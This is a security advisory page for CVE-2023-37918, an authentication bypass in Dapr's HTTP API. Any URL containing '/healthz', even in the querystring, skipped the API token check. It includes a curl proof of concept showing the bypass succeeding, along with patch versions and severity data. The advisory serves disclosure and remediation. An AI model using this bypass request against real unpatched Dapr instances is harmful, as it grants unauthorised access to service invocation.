Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS01OW02LTgycW0tdnFnas4AA01h

Dapr API token authentication bypass in HTTP endpoints

Summary

A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.

Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.

Impact

This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the dapr-api-token in the request is invalid or missing.

Patches

The issue has been fixed in Dapr 1.10.9 and 1.11.2.

Details

When API token authentication is enabled, Dapr requires all calls from applications to include the dapr-api-token header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the /v1.0/healthz and /v1.0/healthz/outbound HTTP APIs are excluded from the API token authentication check, and are always allowed.

Dapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains /healthz to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.

As a consequence, attackers were able to bypass API token authentication by including /healthz anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.

Proof of Concept

$ curl -v http://localhost:3500/v1.0/metadata
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Date: Mon, 17 Jul 2023 18:13:13 GMT
< Content-Type: text/plain; charset=utf-8
< Content-Length: 17
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
invalid api token


$ curl -v http://localhost:3500/v1.0/metadata -H "dapr-api-token: mytoken"
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
> dapr-api-token: mytoken
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 17 Jul 2023 18:13:26 GMT
< Content-Type: application/json
< Content-Length: 119
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}


$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata?foo=/healthz HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 17 Jul 2023 18:13:44 GMT
< Content-Type: application/json
< Content-Length: 119
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}
Permalink: https://github.com/advisories/GHSA-59m6-82qm-vqgj
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OW02LTgycW0tdnFnas4AA01h
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 9 months ago
Updated: 6 months ago


CVSS Score: 6.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Identifiers: GHSA-59m6-82qm-vqgj, CVE-2023-37918
References: Repository: https://github.com/dapr/dapr
Blast Radius: 15.6

Affected Packages

go:github.com/dapr/dapr
Dependent packages: 164
Dependent repositories: 198
Downloads:
Affected Version Ranges: < 1.10.9, >= 1.11.0, < 1.11.2
Fixed in: 1.10.9, 1.11.2
All affected versions: 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.4.1, 0.5.0, 0.5.1, 0.6.0, 0.7.0, 0.7.1, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.11.1, 0.11.2, 0.11.3, 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.1.2, 1.2.0, 1.2.1, 1.2.2, 1.3.0, 1.3.1, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.7.4, 1.7.5, 1.7.6, 1.8.0, 1.8.1, 1.8.2, 1.8.3, 1.8.4, 1.8.5, 1.8.6, 1.8.7, 1.9.0, 1.9.1, 1.9.2, 1.9.3, 1.9.4, 1.9.5, 1.9.6, 1.10.0, 1.10.1, 1.10.2, 1.10.3, 1.10.4, 1.10.5, 1.10.6, 1.10.7, 1.10.8, 1.11.0, 1.11.1
All unaffected versions: 1.10.9, 1.10.10, 1.11.2, 1.11.3, 1.11.4, 1.11.5, 1.11.6, 1.12.0, 1.12.1, 1.12.2, 1.12.3, 1.12.4, 1.12.5, 1.13.0, 1.13.1, 1.13.2